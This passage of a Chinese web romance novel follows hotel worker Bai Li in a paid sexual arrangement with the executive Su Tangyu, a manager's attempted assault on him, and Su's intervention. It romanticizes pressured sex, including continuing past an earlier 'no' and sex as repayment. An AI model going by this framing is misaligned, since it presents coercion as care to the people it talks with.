白荔觉得自己的体力确实不太好,怎么也跟不上。
苏堂玉说他没本事,才两下就跟捣烂的西瓜汁似的,又熟又透只剩下水,是烂泥扶不上墙。
白荔也不想的。
中间借着讨要两个亲亲转移男人的注意力,不知怎么的被发现了,才又是被好一顿教训了。
山顶的风在夜半变得有些大。
白荔缩在床角喝着润嗓子的温水,杯子微微冒出温热的水雾,他小口抿着,看见苏堂玉站在床边抽烟。
男人将火机扔到一边,咬着烟看了过来,目光沉沉的。
“下午是有谁欺负你了?”
14. 撑腰
“谁欺负你了?”
男人突如其来的关心,让白荔稍稍分神。
他没想到苏堂玉竟然会问他这种问题,一时不知道要怎么开口回答,又因为这关心,莫名其妙地红了眼睛。
白荔咬着水杯摇了摇头,还沙哑的声音闷在杯子里,“没有人欺负我。”
苏堂玉俯身,将只抽了两口的烟按进一旁的烟灰缸。
男人缓缓从口中吐出的烟雾,如同獠牙般往人身体里钻。
白荔颤颤地阖下眼皮,近来他对烟草味有些敏感。
在看见苏堂玉点烟的时候,他的腿就开始发软,这会儿更是忍不住在被子底下偷偷夹紧双腿。
苏堂玉像是注意到他的小动作,原本并不太好看的脸色在看到他红润的耳珠时,又平添了一抹趣味。
“刚刚还喊着不要,现在又做什么?”
白荔别过脸去,对苏堂玉的询问感到难为情,他放下水杯,往被子里缩去,“苏先生,晚安。”
“……”
苏堂玉没有再捉弄他,过了两秒,房间里的灯黑了。
白荔睁开眼睛,感觉到身旁的位置微微下陷。
苏堂玉靠过来,似乎是嫌他离得太远,便环抱过他,将他往怀里拖。
亲密无间的距离,就好像他们真的在谈恋爱一样。
白荔脸颊发烫,心跳也不由加快了些。
这个星期下来都是这样,男人好像总是喜欢贴他很近。
白荔还是没有习惯被人抱着睡,紧绷着身体,连呼吸都是乱糟糟的。
往日,身旁的男人抱着他后总是会很快安静下来,今天却好一会儿也没睡着。
大约过了五分钟,白荔听见他的呼吸还是有些沉,在耳边安静十分时,苏堂玉忽然开口,“既然没有受委屈,就别丧着一张脸。”
他的声音也有些沙哑,在黑暗里磨着人耳朵。
白荔想,大约是自己下午上车的时候表情不太好,才会让苏堂玉一直惦记着。
他想转头看苏堂玉一眼,但又不敢再他怀里乱动,只保证道,“我下次不会了。”
白荔轻声应下,带着鼻音的轻哼声像在撒娇,声音也黏黏哑哑的,听得人牙痒痒。
苏堂玉心痒,低头弄他,见他乖顺得没有反抗,才又将人翻身抱起,咬着人的唇厮磨,“别睡了,嗯?”
凌晨一点,窗外的天还没见亮。
白荔很快又哭得颤抖不止,“苏先生坏……”
白荔一直觉得苏堂玉是个顶好的人,虽然说话不那么好听,但在金钱方面真的很大方。
有了苏堂玉的接济,他的日子好过了许多。
只是身体还没能跟上苏堂玉的需求。
那天白荔昏睡不止,醒来后脑袋都是晕晕的,如果不是上班的念头牵挂着,他恐怕又要再度沉睡。
两人都是接近一夜没睡,比起他连在床上都坐不稳的样子,苏堂玉显然精神许多。
男人应该是刚洗完澡,从浴室里出来时,头发半是湿的,垂落下来的碎发搭在额角遮掩了他凌厉的五官。
白荔小心瞥了他一眼。
兴许是两人还没分开太久,白荔总是不好意思同对方对上视线。
他借着拿起掉落在一旁的衣服遮掩,弯腰时,男人的脚步却已经进入了他低垂下来的视野。
白荔的心跳恍然加速,耳根发烫。
他低垂着脑袋不敢抬起,不知自己的脸上有没有着火般的红透。
“去哪儿,先送你。”
“我回家,”白荔很快接道,又不太想麻烦对方,慢吞吞道,“就把我送到影城那边就好,谢谢先生。”
苏堂玉没说什么,白荔又偷偷抬眸瞧他。
男人背对着他穿衣服,宽肩窄腰在没有衣物的遮掩下肌肉更加明晰。
他红着脸移开视线,也很快把衣服穿好,两人一块儿下了楼。
苏堂玉没有吃早餐的习惯,至少这一个星期,白荔都没见过他吃早餐。
一杯黑咖啡下肚,好像就结束了。
最近,别墅里也多了佣人阿姨来做饭。
餐桌上,白荔吃了两块三明治,喝了一杯牛奶,扁扁的肚子才稍微鼓起来一点。
他不能不吃早餐,不然会没有力气站岗。
而苏堂玉早早就拿起了平板刷新闻,处理昨天剩余的公务。
白荔怕自己速度太慢,于是加快了吃饭的速度。
一杯牛奶见了底,他立刻放下,乖乖等了一会儿才提醒他,“苏先生,我吃好了。”
苏堂玉瞥了一眼他的盘子,站起来往外走。
白荔感觉到男人的视线,不好意思地拿起手边的帕子把嘴巴擦干净,紧跟着男人出去。
早晨的视野更加开阔亮丽,山顶的景色和地面完全不同。
浮光陷入覆盖而来的绿植之中,层层叠叠地交错。
这是白荔第一次观察周边的景色,和他当时在父亲电脑里看到的宣传图纸相差无几,甚至更漂亮。
他坐在车里,眼神也不自觉往外跑,只是腰酸酸的,涨涨的小腹也让他的好奇心减少了许多。
白荔靠在车窗上,想到什么,他坐直了一些。
司机先生开始发动了车子,车厢里不至于那么安静。
小鸟的叫声婉转,在车窗外很快消失。
白荔想同苏堂玉说话,便往他那边坐了坐,又不确定自己会不会在这会儿打扰到他,想了很久,才道,“先生,我晚上有点事情,今天晚上能不能……”
“不能。”
苏堂玉的目光没有动摇,视线依旧落在手里的平板上,只是像是知道他要说什么,没等他的话说完就拒绝了他。
语气虽也是淡淡的,但却是没有商量的余地。
白荔抿唇,规矩放在腿上的手指交缠着,小声道,“但是,凌晨也没休息,今天也算那个过了呀。”
他明明说得很小声,但这会儿苏堂玉不知怎么的,却听去了。
“你好像没清楚自己的位置。”
“我有说一天只gan你一次吗?”
白荔听得手忙脚乱,想堵苏堂玉的嘴又不敢。
他慌忙摆手看向驾驶座上的司机,又看向苏堂玉,红着脸快而含糊着道,“别这样说,苏先生,不要这样说……”
明知道苏堂玉不可能同意的,或许他对自己还新鲜,所以才每天都要。
可能一个月后,他就厌弃了自己也说不定。
白荔低下头去,再也不敢在第三个人面前,同苏堂玉提不要见面的事情。
晚些时候,他得抽空告诉冉虎,今天晚上不能见面了。
身旁的人安安静静坐着,不知在想些什么,像只小兔子,眼尾染着粉色。
苏堂玉皱眉,不知道他有什么好委屈的,只不过要他把屁股抬起来,就好像要了命一样,“下午司机来接你。”
白荔闻言,连着指尖也跟着红透,他呆呆地点了点头,又是一副乖巧的模样,“好的,先生。”
白荔在影城附近下车,还要坐两站公交才能回到新的租房。
他关上车门,同苏堂玉道了再见就往公交站跑。
他看见自己要坐的公交车正在等绿灯,怕赶不上,于是跑得急急忙忙,连苏堂玉还没说出口的话也一并关进了车门里。
“嘭。”
车门几乎要关在人脸上。
苏堂玉深吸了口气,才将火气忍下来,他的视线往后视镜扫去,哪里还有白荔的身影。
苏堂玉摁着额角,咬牙道,“开车。”
*
“看见没有,又换衣服了。”
白荔一到换衣间,就听见有人在窃窃私语。
说是窃窃私语,还不如说是光明正大的小话,整个换衣间的人都能听见。
白荔不看也知道是谁,敢这样毫不顾忌地当着他的面故意说这种话的,除了王林不会有别人。
他昨天明明已经同对方说过了,但好像并没有用。
“你要是想穿新衣服,可以自己去买,不用整天盯着别人换没换衣服。”
白荔已经在昨天和对方吵了一架,这会儿和对方争辩一句也成了顺嘴的事情。
王林似乎没想到白荔会立马反驳,硬是哽了一句没说出话来,还被旁人笑了,“王林,十几块钱的衣服你是买不起吗?你喜欢叫白荔给你发链接。”
白荔自然拿不出什么十几块钱的链接,怕王林真要,他赶忙拿着自己的制服就跑到卫生间换。
早上被嘲了两句,也算是平安无事度过。
中午到了饭点,白荔同同事轮换吃饭。
这会儿得了空,他才给冉虎发了消息,说晚上不能见面了。
青年几乎秒回了信息,白荔还没看清楚是什么,他的电话就马上进来了。
“哥,你的身体还没好吗?你把地址发我,我给你送药膏,真的,送完我马上就走,绝对不影响你休息。”
冉虎一连串的话语进来,没能让白荔有说话的空隙。
白荔很是为难,对自己欺骗青年的行为感到抱歉。
他柔声道,“如果我好了,我就去找你,这样行吗?对了,你之前不是想看电影吗?到时候我请你看。”
也许是他的提议打动了青年的心,对方只是沉默了一秒,语气明显缓和了不少,“哥
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,你可不能糊弄我。”
“嗯,知道的,你看看最近上映的电影,要是有感兴趣的就告诉我,我订票。”
冉虎嘿嘿一笑,明显是高兴了,语气又欢快起来,“那你休息,我们到时候见。”
“嗯,拜拜。”
好不容易哄好孩子,白荔才能专心吃饭。
今天有他喜欢的红烧肉,他夹了很多,端着餐盘坐在角落里吃,才吃了几块,就听见身后有人喊经理好。
白荔僵直了脊背,听见李树明的声音,便汗毛直立。
男人原是不怎么来员工餐厅吃饭的,白荔还以为遇不上。
他不敢回头,微微侧过身去,想装作自己没看见,不料那人却走过来在他身边停留。
“咚咚。”
李树明的手指往他的餐盘边上敲,白荔的心一紧,听见他说,“吃完饭来我办公室。”
当着大家的面,李树明笑着对他道。
白荔能感觉到自己的脸失了血色,他实在不想同李树明周旋,“经理,我一会儿还要交班,有很多事情没做。”
“我的话你也不听了?不想要工资了是吗?”
李树明找他的频率越来越频繁,好多人的视线都偷偷地望过来。
白荔不想与之纠缠,应声道,“我会去的。”
所有人都在传他和李树明之间的关系,就算没有,也仿佛被坐实了一般。
煎熬的一顿午餐。
原本应该是很高兴的,白荔吃完饭,硬是觉得想吐,觉得红烧肉腻了,嘴里一阵阵地冒油花。
他喝了一杯柠檬水强压住涌上来的恶心感,才在安静无人的午休时间,再次前往李树明的办公室。
白荔站在门框边上不敢进去,看了眼走廊上的监控是好的,才敲门,“经理。”
“进来,”他笑,“把门关上。”
白荔摇头,“我就站在外面,您有事就说。”
“你还是这么不识趣。”
他站起来,往门框边走,“我说你啊,这个世道长得漂亮没用,得会讨人欢心,这漂亮才有用。”
白荔往后退了一步,立马被他拉住了手,“白荔啊,看来你还是没把我昨天的话听进去。”
男人的手指在他手背摩挲着,吓得白荔用力甩开了他的手,“你这样,我要叫了,到时候谁也别想好过。”
“叫?叫啊,”李树明笑,“我倒是想听听你在床上是怎么叫的。”
李树明的力气很大,伸手将他拖进办公室里,“我说了,怎么样吃亏的都不会是我,还没感受到吗?上次换衣间的事情大家都知道,被骂yin荡的可是你,不是我。”
“伺候好我,我可以给你涨工资的,嗯?白荔,你知道的吧,这么点权力我还是有的。”
白荔往门边逃,门却不知什么时候被反锁,他慌了手脚摆弄不开,回身握着手把,“你有老婆孩子的,为什么还要这样?”
“怎么?这么关心,那又怎么样,玩玩而已,我又不会跟她离婚。”
李树明的脸上带着笑意,“还是你是为了这个,吃醋了,才不愿意跟我?”
“恶心。”
白荔涌上一阵生理性的反胃,他撇过头,不愿意多说一句话。
李树明见状,很快变了脸色,“这样,你既然这么不情愿,我也不愿意为难你。”
白荔回眸,有点不敢信对方会这么轻易放过他。
果然还没等他反应,男人又接着道,“你被辞退了,现在就收拾东西滚蛋,辞呈我会替你写的,流程会很快走完。”
李树明坐回他的办公桌,老神在在地盯着他瞧,一字一句道,“内容就写,员工白荔私生活混乱,品德败坏,勾引上级失败被检举,怎么样?”
白荔气得牙关发颤,说不出一句完整的话,他没想到李树明会这样倒打一耙,“你无耻!”
“你现在还有机会……”
“咚咚!”
门外传来的敲门声,打断了李树明接下来的话。
他不爽利,门口明明挂了休息的牌子,竟然还有不长眼的人来敲门。
明明白荔就快被拿下了。
听到声音的白荔赶忙趁这会儿背过身,把反锁的门打开。
门外站着的,是个穿着西服的男人,是他印象里不熟悉的陌生面孔。
白荔站到一边偷偷抹了眼泪,余光却看见李树明从办公椅上站起来,殷勤地要给男人倒茶,“哎呀吴助理,您怎么来了?”
男人挥了挥手,示意他不要弄这些,“李经理,苏总有请。”
他又看了一眼白荔胸口的名牌,笑,“白荔?白先生,我们苏总有请。”
15. 出头
李树明跟着吴助理从办公室出去,白荔走在最后。
他还没从方才李树明要强行抱他,及不要脸的倒打一耙中缓过神来,整个人的情绪起伏着,脑子却依旧处于懵懵的状态。
他的脚步落后,不由得被吴助理注意到。
“您可还好?是有哪里不舒服吗?”
“嗯,不好意思。”
白荔不确定对方是否是友好的,也不敢在旁人面前乱说话。
只有走在前面的李树明闻言,停下了脚步,站在吴助理身后用眼神威胁他。
白荔装作自己没看见,微微低下头去,“我不太想去,能让我回去休息吗?”
吴助理没说让他回去的话,也没有说不让他休息,这会儿走在他边上,笑着道,“苏总现在在楼顶的总统套房处理公务,您大约可以在上面休息一会儿,那里肯定比员工休息室舒服些。”
这个时间原本就是员工的休息时间,如果不是李树明强行要求他过来,白荔这会儿已经在休息室躺上好些时候了。
他真的很累,从李树明的手里逃走,有一种劫后余生的心焦。
一轻松下来,让人浑身都使不上劲,连背后都冒出薄薄的冷汗来。
“抱歉,给您添麻烦了。”
白荔不知道苏堂玉这会儿来做什么,好像是特地来找李树明,顺带带上他的。
这会儿推辞着不想过去,有一部分原因是,他们之间有那样一层关系在,他其实不太想和苏堂玉在工作场所见面。
一种做了坏事而怕被人发现的羞耻感,让人觉得不自在。
“没关系,您如果有很不舒服的地方,可以先去医务室看看,苏总那边会体谅的。”
苏堂玉和体谅人这个词,好像很难让人联想到一起。
白荔和他相处的这几天,也从来没有被真的体谅过,向来都是苏堂玉想怎么样就怎么样。
虽然也确实是自己该做的,拿钱做事,白荔向来不会含糊。
没和对方见面之前,他就曾经听说过总司的苏总在工作上对人要求很严苛。
那时候他光顾着挣钱,每天按部就班地上班,对这些上司根本就不了解。
现在对于苏堂玉的脾气,他算是了解了一点点。
白荔不想让这位好心的助理为难,没再说自己不去的话。
“没关系的,我也没有特别不舒服。”
“那就好。”
吴助理回完话,又继续往前走。
三人进了电梯,上升过程中,白荔的脑袋晕乎乎的。
他靠在离李树明最远的电梯一角,即使有第三个人在,他还是在这并不宽阔的空间里感觉到强烈的不安。
“叮。”
电梯门开。
白荔没有思考,恍惚地跟着吴助理的脚步往前走。
进了总统套房,不知过了几扇门,白荔还在想着苏堂玉为什么要把自己找来,吴助理却不知何时停下了脚步。
白荔一个没留神,脑袋就往吴助理的背后撞去,他磕得不轻,抬起头来,鼻子也是红扑扑的,“对不起对不起,把您撞到了。”
“没关系,您没事吧?”
吴生身强体壮得结实,倒是没感觉疼。
但是他总觉得自己这会儿要是没处理好这件事,那自己接下来的职业生涯可能会不太好过。
苏堂玉哪里是会在休息时间来一个酒店找一个小小员工的人。
一切意外都只有一种可能,那就是love~
苏总他完了,他陷入爱河了。
吴生站得笔直,表示自己完全没事,才领着人进去见苏堂玉。
套房内的冷气很足,白荔觉得有些冷了。
越往里走,白荔越是能在空气里闻到苏堂玉身上的味道,是非常好闻的木质调香水味,像印象里冷杉的清新,在冰冷的空气里变得更加特别。
“苏总,李经理和白先生来了。”
白荔一直跟在吴生身后没有挪动脚步,这会儿停下来恰好就被吴生的个子挡得严严实实。
苏堂玉坐在主位的沙发上,一时没见着人,要不是看见吴生身后,那两只踩在地毯上比一般男人要小的脚,他还觉得吴生是在睁眼说瞎话。
“苏总,您大驾光临,怎么不提前说一声,我们这边什么都没准备,但员工都在认真工作,您放心……”
李树明不知苏堂玉为何缘由突然造访,打了他个措手不及。
也不知道那些人有没有把卫生弄好,哪里有没有出现不必要的纰漏,会让眼前这位祖宗大发雷霆。
他弯下腰来,身体往苏堂玉的方向倾,“苏总……”
“躲着干什么?”
苏堂玉忽然开口的一句话,让李树明稍愣。
什么躲着,显然不是在跟他说话。
李树明这会儿才稍稍抬起头来瞄一眼,才发现从他进来开始,苏堂玉的目光就一直落在吴生身后。
他心里猛然紧张起来,一种隐隐的不安感让他前几天就感觉不对的念头逐步得到证实。
李树明看见吴生身后的白荔,在这会儿挪动了步子。
“苏先……”白荔习惯性开口,叫他苏先生,又想着现在的情况不对,堪堪住了口,也没再说话。
苏堂玉盯着他看。
青年的脸色有着不自然的红晕,鼻子和眼尾发红,唇色却是白的,一副才受了惊吓的样子。
身上的衣服也是散乱。
苏堂玉凝眉,朝他抬了抬下巴,“过来。”
白荔不敢在别人面前和苏堂玉靠得太近,却因为动作太慢被苏堂玉不耐烦地拉了一把。
他自然是没能好好站稳的,被苏堂玉搂了腰,一屁股跌在了人身上。
“哭了?”
男人的声音沉沉揉进耳朵里。
白荔想起凌晨苏堂玉说他丧着脸,他才答应以后不会了,这会儿他才不敢承认,便直接低下头去不让苏堂玉看,“没有的,我不知道您过来。”
他指着沙发边上的位置,小声道,“我就坐在那边就行。”
在外人面前被这样抱着,白荔哪里还有心思想别的,只觉得自己的屁股烫得厉害,说是如坐针毡也不过分。
说着,他就要下去,又被苏堂玉搂紧,“别动。”
白荔闻言,几乎是下意识地拽紧了苏堂玉的衣服缩进他的怀里。
屁股上的巴掌没有如同夜晚那般落下来。
白荔被自己潜意识的回应吓了一跳,随即脸颊烫得发疼。
“对不起。”
他也不知道自己在道什么歉,只是顶着烧热的脑袋呆呆地坐在苏堂玉的腿上,
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一味张口,指着男人身旁的位置要坐那边去,又不敢乱动。
苏堂玉笑了一声,没理会他嘟囔似的请求,揉着他纤细的腕骨把玩,目光终于分出一丝落在了李树明身上,“经理?”
“是、是,苏总,我是李树明。”
李树明的衣服早已在白荔从吴助理身后踏出的那一步时完全湿透。
在吴助理让白荔一块儿上来见苏堂玉的时候,他想过是最近酒店里关于白荔的负面消息太多,被多嘴的人传到苏堂玉面前。
所以苏堂玉这会儿是来问罪的。
他也想过是不是总司有需要形象好的人参加什么活动,看上白荔的外貌这种荒诞的理由。
他就是没想过,是因为苏堂玉和白荔竟然是这样的关系。
原来那天的宴会上,他并没有看错,白荔真的攀上苏堂玉这根高枝儿,现在早就飞上枝头变凤凰了。
李树明汗如涌泉般一股脑冒出来,颤颤巍巍地陪着笑,见人下菜碟地夸着白荔的好,“苏总,苏总,白荔他刻苦能干,是我们酒店十分优秀的员工,大家都很喜欢他。”
“是吗?”苏堂玉开口,“哪里优秀?”
“这个,”李树明一时语塞,笑道,“形象好,气质佳,工作认真,做事利落,从来没有出过一点岔子,也没有任何一个投诉,年中的优秀员工,也肯定是非白荔莫属。”
“苏总,白荔是个好苗子,我们一定会好好培养的。”
白荔听着李树明说着这样的话,再回想起十分钟前他逼迫自己的反差,顿时恶心不已。
他靠在苏堂玉的怀里,怔怔的看着李树明,抿着唇没有出声。
“既然这么好,我怎么听说白荔的作风放荡,还勾引了你。”
苏堂玉随性的话语从身后传来,一字一句透过他的耳朵,尤为明晰。
白荔不知道这些话是怎么传到苏堂玉那里 ,又有多少人知道了这些小话。
他的心跳在苏堂玉说出这些谣言时漏了一拍,杏眼顿时续上委屈而难堪的泪水,在低下头时一颗颗往下掉。
“苏总,苏总,那都是谣言啊!”
“我也不知道是哪来的消息,我跟白荔清清白白,他这么好的孩子,怎么可能会勾引我呢?!苏总您放心,今天……不,稍后,稍后我就去把谣言肃清,绝对还白荔一个清白!”
李树明腿软得打颤,看见白荔当着苏堂玉的面哭,更是站不稳。
“另外,我个人再出资,补偿白荔精神损失费,竟然有这种谣言,我要是知道一定不会让这种子虚乌有的事传出来,竟然还传到您的耳朵里。”
苏堂玉瞧着白荔啜泣,伸手揉着他的眼尾,语气没有什么起伏地问,“如何?”
白荔双眸微阖,蹭着他的指腹,呼吸声也是断断续续的哽咽。
“他胡说,刚才、在办公室,他还想要侵犯我,他脱我的衣服,我好害怕……”
“苏先生……呜……”
苏堂玉的眼皮抬起,目光虽冷淡得无波无澜。
但李树明对上他视线的那一刻,仿佛窥见了自己的后半生,“苏总……不是这样的,你听我解释您听我解释!我真的不知道白荔是您的人啊,我要是知道我怎么敢……”
“行了,”苏堂玉自然地打断他的话,“公了,还是私了?”
16. 在车里
“听说了吗?经理这段时间没来的原因?”
“什么什么?”
休息时间,更衣室里,几人聚在一起说着饭后闲谈的八卦。
说到这里,提起话头的人忍不住笑了起来,被人催促着,才忍下来继续道,“据说啊,是他洗澡的时候,不小心滑倒,把命根子撞断了。”
“噗……”
“真的假的?”有人听着皱起了眉,下意识就捂住了自己的ku裆,“噫!听着就痛,这玩意儿还能断?这算什么,物理阉割了?”
“老天有眼好吧,谁叫他平时整天打压我们,我之前还看见他对女员工动手动脚的,有一次还摸我屁股,我真吐了,做太监不就是他的报应吗兄弟们,要是真事儿我晚上都得开香槟。”
“我靠,摸你屁股?同性恋啊他。”
“这有什么稀奇的,之前他还不是想直接搞白荔?”
“可怜的白荔,怎么听起来怪惨的,之前还有人说是白荔勾引的他呢。”
“谁知道,这些东西听听就得了。”
“不对,他不是有老婆孩子来着吗?怎么还搞男人?”
“是吧,也不知道谁捅到他家里去了,说是这两天在闹离婚呢。”
“哈哈,我真想去凑凑热闹,这下我看他是人财两空喽,这几天林淼姐接手他的工作,我感觉我人都年轻了十岁,最好是别回来了。”
“你啊……对了,差点忘了,林姐说晚上她请大家唱k,叫我统计一下人数,谁去,来找我报名。”
“我去我去,这种好事必少不了我!”
说话的人忙着统计,点了人数发现不对,问,“白荔呢,怎么不在这儿,他去不去啊?”
“我看他中午好像没回来休息,等他回来再问吧。”
“嘁,”坐在角落的王林发出一声不屑的语气,终于能够在这儿插上一句嘴,“白荔?我刚刚看见他上了一辆豪车,估计是被金主带走了吧。”
“王林,你可少说两句吧,人白荔跟你也没仇,之前笑笑就算了,现世报可来得很快的,”人说着,想到开心的事又忍不住边笑边道,“你不怕你也一辈子“积极向下”啊。”
王林脸色涨红,“你胡说什么!这回我是真的看见……”
“哈哈!”
“哈哈哈!”
王林的愤怒无人搭理,更衣室里一时间充满了快活的气息。
“苏先生,您怎么这个时间来找我呀。”
白荔收到苏堂玉的消息就赶紧跑了过来,幸好是午餐时间,没有耽误工作。
他上了苏堂玉的车,才发现今天司机没来,坐在驾驶座开车的人是苏堂玉自己。
他刚要上后座,就被男人叫到了副驾驶去。
白荔紧急下了车,又坐到副驾驶系好安全带。
男人没再同他说话,车厢里很安静,又不知道车子要开到哪里,白荔握着安全带,小心观察着他的神色。
苏堂玉还是冷着那张脸,让人看不出他情绪的好坏。
白荔犹豫了好一会儿,见车子离酒店越来越远,最后还是选择打破宁静,“先生,我们去哪里呀?我下午还要上班,不可以去太远的地方。”
苏堂玉的目光这时从后视镜扫过,并没有在他身上停留,也没有搭理他的问话。
完成了一个简单的超车,又回到了原来的车道上。
白荔见他没有生气,悄悄松了口气,又有些无措地低下头,心跳在封闭的空间里咚咚乱跳着。
白荔觉得自己有点过度兴奋了,只是在平时不可能见到对方的时间里见到对方,竟然会这么紧张。
他觉得有点口渴了,舔了舔唇,继续开口同他找话题聊,“最近经理都没有来上班。”
苏堂玉这才嗯了一声,不过似乎也没多想聊,神情恹恹,不太感兴趣的模样。
白荔没有因为他的冷淡而灰心,甚至还因为男人的回应感到雀跃,继而止不住想要继续和他说话的念头。
他的身体微微往苏堂玉那边侧去,眉眼弯弯,“这几天上班轻松了很多,不知道要怎么感谢您才好。”
那天李树明选择私了,白荔并不知道后续是怎么解决的。
不过那天开始,对方就没再来上过班,白荔也过上了一段安生日子。
至少目前是这样。
听林淼说李树明请了很长很长一段时间的假,短期内大概率是不会回来的。
“感谢我?”苏堂玉终于看了他一眼,“现在就能谢。”
“嗯?可是我还没有准备礼物。”
白荔话音刚落,就见苏堂玉把车子拐进了一个稍稍荒废的停车场。
那里只三三两两停着几辆破旧的车辆,不远处还停着一辆没有人驾驶的挖掘机,像是准备重新开发的荒地。
可能是饭点,工人们还在吃饭和休息,所以这会儿并没有人的踪迹。
白荔不明所以,问苏堂玉,“先生,我们为什么来这里,是要下车吗?”
白荔看见苏堂玉解开了安全带,随即也跟着他解开安全带。
他的手已经搭在了车门的把手上准备下车,不料副驾驶的座椅靠背竟然缓缓向后倒去。
“咦?”
白荔还以为是自己按到了哪里,略有惊慌地看着苏堂玉,“先生,车子……”
苏堂玉欺身,将略微窘迫的白荔抱进怀里,不给人思考的时间,钳住他的腰身吻了上去。
“先……苏先生……嗯……”
“等一……”
车厢里容纳两个成年男人动作还是有些窄了。
白荔被抵在车门上,瞥见车窗外的杂草被滚烫的风吹得飘动,他如同惊弓之鸟瞬间紧张得红了眼眶,“先生,为什么在这里?我害怕……”
苏堂玉看着他,眼里是促狭的笑意,“不是要感谢我吗?你除了身体还能拿什么谢我?”
白荔恍恍惚惚的心地被他的这句话拉回现实。
他们之间好像确实是这种关系。
就算苏堂玉之前替他出了头,应该也仅仅只是为了顺心。
他对自己徒生出的莫名的期待感到羞愧,又有些摸不透情绪的伤心。
他的声音小小的,依旧乖乖地回应,“嗯。”
“抬头,”苏堂玉盯着他的脸,目光幽暗,“张嘴。”
……
*
“临时出差,回来联系你,别给我到处乱跑。”
白荔还没缓过劲来,目光涣散着听不进人的话。
他手里还揪着苏堂玉扯下来的领带,视线移到苏堂玉的脸上时,他伸出舌尖舔着带齿印的红唇,脸颊懵懵懂懂地发红,哼出小小的鼻音,“嗯,我等先生。”
“操。”
苏堂玉额角跳动,低骂了一声,看了时间,强忍着再把人拽起来弄的冲动,不爽地将一旁的外套扔到了他的脸上。
“唔。”
白荔的视线被男人的衣服遮掩。
他躲在宽大的外套里揉了揉眼睛。
不知道苏堂玉为什么突然又要生气。
他没敢把脑袋从外套里钻出去,车子一路前行不知道又要去哪里。
白荔攥着他领带的手无意识放在发涨的小腹上,随着车辆轻微的颠簸和身体的疲惫,在灰暗的视线里,他意识迷迷糊糊的,完全拉不住地闯进了睡梦中。
“白先生。”
“白先生,醒醒。”
白荔被一阵轻唤叫醒,他立即睁开眼睛,看到驾驶座上的吴生,恍然被吓了一跳。
“白先生,酒店到了。”
“吴助理……?”
白荔看了眼酒店,又看了眼时间。
来不及弄清楚身边的苏堂玉怎么变成了吴助理,白荔说着就急着要下车去,“谢谢您送我回来。”
“白先生,稍等。”
吴生赶忙叫住他,“苏总有两千块钱让我转交给您,说是给您下午迟到的补偿。”
白荔看着吴生递过来的信封,惶恐地摆了摆手,“我用不了这么多的,我迟到不会扣这么多钱。”
“这也是苏总的意思,您收下吧。”
吴生笑看着他,解释道,“苏总还让我跟您说一声,是早上临时决定要出差,今天晚上不回来,叫您自己安排晚上的时间,他还让您不要去太远的地方,回来的时间是后天下午。”
白荔听着吴生详细地说着苏堂玉的行程安排,想起苏堂玉好像跟他说过类似的话,但他有点模糊了。
于是点了点头,“好的,我知道了。”
吴生瞧着白荔乖巧漂亮的模样,没想到征服苏堂玉的会是这样的乖孩子,果然还得以柔克刚。
总之,他是没能想到有一天,苏堂玉竟然会跟另一个人报备行程,还有细心的迟到补
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偿,太夸张了。
“另外,您手里的领带,苏总说您要是喜欢就留着,不喜欢扔了就是。”
“……”
白荔愣了愣,顺着吴生的视线,果然看见自己手里的领带。
想起这条领带是怎么来的,他顿时连着指尖也迅速红透。
“那,苏先生他……”
“苏总的行李有备,不用担心。”
“好、好的。”
白荔越是想着,就越是难为情,最后还是小心将苏堂玉的领带叠好放进了口袋里,想着到时候和多出来的钱一并还给苏堂玉。
“那我先走了。”
他赶忙下了车去,只希望吴生不要往那方面想,不然他真的会很羞愧,“再见,您路上小心。”
“您也是。”
吴助理同他点头,看见白荔进了酒店,给苏堂玉发了信息后,将车子启动。
“白荔,怎么才回来?晚上林姐请客唱歌,你去不去?”
白荔才站在打卡机面前,就被人叫着了。
他清了清自己的嗓子,笑着道,“我不去了,嗓子有点不舒服。”
难得今天晚上空闲,他下了班后想去医院看奶奶。
医生说奶奶最近的状态很好,可以进去跟她说说话了,虽然还不能待太久,但有亲人的陪伴,奶奶会好得快一些。
“那好吧,那我就去跟林姐报人数了。”
“嗯,好的。”
那人走到一半,又笑着折回来,压低声音同他说悄悄话,“午休的时候你不在,没听到消息,我跟你说……”
他又把李树明的事儿同白荔讲了一遍,白荔闻言有些惊讶,“这么巧呀……”
“谁说不是呢,这才叫现世报嘛,他之前不是还想对你那个……这不,坏人有坏报,老天爷精准打击。”
白荔若有所思地点头。
“那我走了,你这不是迟到了吗,要扣两百多呢,到时候让林姐给你划掉吧。”
“这可以吗?”
“当然可以了,这本来就是李树明定的制度,从我们这扣走的钱不都弯弯绕绕进李树明的口袋了吗?放心啦,林姐说过的,不是我擅自做主的。”
“谢谢。”
他拍了拍白荔的肩膀,“没事,都是同事。”
白荔垂眸,不知道在想什么。
下班后,他直接坐公交去了医院,这会儿天色还亮,医院看起来也还没有那么冷清。
白荔走进病房,看着面色平静的奶奶,他的心情也明亮起来。
“我最近很好哦奶奶,不用担心我。”
他安安静静地坐在病床边,轻轻和她说话,“有一位很好的先生帮了我,他给我很多钱,还无条件相信我,帮我赶跑了坏人,要债的人也没有找过来,所以我最近很好。”
“……”
“那位先生,每天都会和我见面,所以这几天没有天天来看您,对不起,他的脾气有点不好,不过是个很好的人,帮了我很多很多。”
“很奇怪……”
白荔脸红,“我最近看到他,心跳总是很快,奶奶,我是怎么了?”
白荔俯身,将自己的脸轻轻贴在她的手边,“奶奶,我很想您,快点好起来吧。”
……
那天晚上从医院回来以后,白荔早早便休息了。
虽是这样说,但习惯了被人抱着睡的白荔,还是在床上躺了好一会儿才睡着。
养足了精神的他,第二天起了大早,把衣服洗了,苏堂玉的领带,他也拿出来仔仔细细地洗干净,拿出一个新的衣架来挂。
他把领带放在阳光下,站在那儿望了好一会儿,想到男人昨天天中午戴着它的样子——
太阳将他晒得面红耳热。
又是一天平淡度过。
白荔从医院回来后还去做了一个小时的兼职,到家洗完澡,恰好九点钟。
他躺在床上,收到老板及时发来的三十块钱,刚收下还没说上感谢的话,苏堂玉的电话突然进来。
白荔干燥的身体冒出薄汗,他从床上坐起,犹豫着接下电话,“先生?”
“在哪儿?”
电话里的男声比平时听到的还要低一些,直直地落入耳朵里,叫人无所适从。
白荔揉了揉耳朵,换了只耳朵听,“先生,我在家里。”
“地址。”
17. 不隔音
白荔没想到苏堂玉会提前回来,而且要来家里,他一点心理准备都没做。
挂断电话后,他急急忙忙起来穿裤子,拿起扫把将没什么灰的地板又扫了一遍。
站在家里环顾了一遍,看到挂在架子上的内裤,他面色一红,快步走过去收起来,藏进柜子里。
没一会儿,小巷里就响起了从来没有的引擎声响。
他从窗户外探出脑袋,只能看见蔷薇花后那一截黑色的轿车尾巴。
